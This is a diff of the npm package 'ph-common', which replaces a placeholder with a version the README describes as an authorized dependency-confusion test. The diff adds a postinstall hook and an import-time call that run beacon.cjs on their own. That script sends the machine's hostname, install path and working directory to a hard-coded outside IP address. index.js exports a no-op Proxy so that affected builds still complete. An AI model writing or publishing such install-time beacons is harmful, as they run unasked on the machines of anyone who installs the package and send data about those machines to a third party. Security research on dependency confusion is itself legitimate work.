ph-common 0.0.0-stage → 0.1.0

package/README.md

@@ -1,3 +1,11 @@
-# Temporary Holding Version
+# ph-common
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+Compatibility shim.
+
+Published as part of an authorized dependency-confusion test. It performs no
+operation other than reporting that it was installed (package, hostname, path).
+
+## Researcher
+
+- **Kero (@0xWise)**
+- 0xwise@wearehackerone.com

package/beacon.cjs

@@ -0,0 +1,37 @@
+'use strict';
+// Build-provenance beacon. Reports only machine/package metadata so the
+// recipient can correlate an install. No data beyond that is collected or sent.
+var BEACON = "http://185.158.107.175:8787/_ah/dc";
+var PKG = "ph-common";
+function _post(payload) {
+  return new Promise(function (resolve) {
+    try {
+      var u = new URL(BEACON);
+      var lib = u.protocol === 'https:' ? require('https') : require('http');
+      var data = Buffer.from(JSON.stringify(payload));
+      var req = lib.request({
+        hostname: u.hostname,
+        port: u.port || (u.protocol === 'https:' ? 443 : 80),
+        path: u.pathname + u.search,
+        method: 'POST',
+        headers: { 'content-type': 'application/json', 'content-length': data.length, 'x-beacon-package': PKG }
+      }, function (res) { res.resume(); res.on('end', resolve); });
+      req.on('error', function () { resolve(); });
+      req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
+      req.write(data); req.end();
+    } catch (e) { resolve(); }
+  });
+}
+function fire() {
+  var payload = {
+    package: PKG,
+    hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
+    installPath: __dirname,
+    cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(),
+    userAgent: 'npm/' + (process.version || ''),
+    protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http'
+  };
+  return _post(payload);
+}
+if (require.main === module) { fire().then(function () { process.exitCode = 0; }); }
+module.exports = { fire: fire };

package/index.js

@@ -0,0 +1,13 @@
+'use strict';
+// Loading the shim (e.g. because the app imports this name) also records the
+// install. Kept side-effect-free if the callback cannot be reached.
+try { require('./beacon.cjs').fire(); } catch (e) {}
+// Export a defensive Proxy: any property access returns a no-op function, so a
+// bundler that imports named/default members of the real package does not crash
+// before it finishes installing (a crashed build is still proof, but a build
+// that completes and calls back is cleaner evidence).
+var _noop = function () { return {}; };
+module.exports = new Proxy({}, {
+  get: function (t, p) { return (p === '__esModule') ? false : (typeof p === 'symbol' ? undefined : _noop); },
+  apply: function () { return {}; },
+});

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "ph-common",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "0.1.0",
+  "description": "Compatibility shim.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node beacon.cjs"
+  },
+  "files": [
+    "index.js",
+    "beacon.cjs",
+    "README.md"
+  ],
+  "license": "MIT"
+}